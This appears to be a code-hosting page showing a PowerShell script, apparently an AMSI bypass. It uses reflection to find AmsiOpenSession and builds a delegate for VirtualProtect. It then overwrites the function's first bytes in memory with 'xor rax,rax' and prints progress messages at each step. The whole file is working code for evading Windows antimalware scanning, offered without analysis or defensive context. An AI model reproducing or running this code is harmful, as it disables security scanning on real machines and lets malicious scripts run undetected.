File size: 2,526 Bytes
5b1e25c
 
 
 
 
 
 
 
 
 
 
8742fdb
5b1e25c
 
 
 
 
 
 
 
 
 
 
8742fdb
5b1e25c
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function l {
    Param($m,$f)
    Write-Host "[l] Function execution started" -ForegroundColor Green
    Write-Host "[l] Parameters: ModuleName=$m, FunctionName=$f" -ForegroundColor Cyan
    $a=([AppDomain]::CurrentDomain.GetAssemblies()|?{$_.GlobalAssemblyCache -and $_.Location.Split('\\')[-1] -eq 'System.dll'}).GetType('Microsoft.Win32.UnsafeNativeMethods')
    Write-Host "[l] Assembly obtained: $($a.Assembly.FullName)" -ForegroundColor Green
    $t=@()
    $a.GetMethods() | % { if($_.Name -eq 'GetProcAddress') { $t+=$_; Write-Host "[l] GetProcAddress method found" -ForegroundColor Green } }
    Write-Host "[l] Returning result" -ForegroundColor Green
    $t[0].Invoke($null,@(($a.GetMethod('GetModuleHandle')).Invoke($null,@($m)),$f))
}

function g {
    Param([Type[]]$f,[Type]$d=[Void])
    Write-Host "[g] Function execution started" -ForegroundColor Green
    Write-Host "[g] Parameters: Func=$f, DelType=$d" -ForegroundColor Cyan
    $t=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('RD')),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('IM',$false).DefineType('MDT','Class, Public, Sealed, AnsiClass, AutoClass',[System.MulticastDelegate])
    Write-Host "[g] Delegate type created: $t" -ForegroundColor Green
    $t.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard,$f).SetImplementationFlags('Runtime, Managed')
    $t.DefineMethod('Invoke','Public, HideBySig, NewSlot, Virtual',$d,$f).SetImplementationFlags('Runtime, Managed')
    Write-Host "[g] Returning created type" -ForegroundColor Green
    $t.CreateType()
}

Write-Host "[Main] Main code execution started" -ForegroundColor Yellow
$a=l amsi.dll AmsiOpenSession
Write-Host "[Main] AmsiOpenSession address obtained: $a" -ForegroundColor Green
$o=0
$v=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((l kernel32.dll VirtualProtect),(g @([IntPtr],[UInt32],[UInt32],[UInt32].MakeByRefType()) ([Bool])))
Write-Host "[Main] Delegate for VirtualProtect created" -ForegroundColor Green
$v.Invoke($a,3,0x40,[ref]$o)
Write-Host "[Main] Memory access rights changed" -ForegroundColor Green
[System.Runtime.InteropServices.Marshal]::Copy([byte[]](0x48,0x31,0xC0),0,$a,3)
Write-Host "[Main] Bytes written to memory" -ForegroundColor Green
$v.Invoke($a,3,0x20,[ref]$o)
Write-Host "[Main] Original memory access rights restored" -ForegroundColor Green
Write-Host "[Main] Execution completed" -ForegroundColor Yellow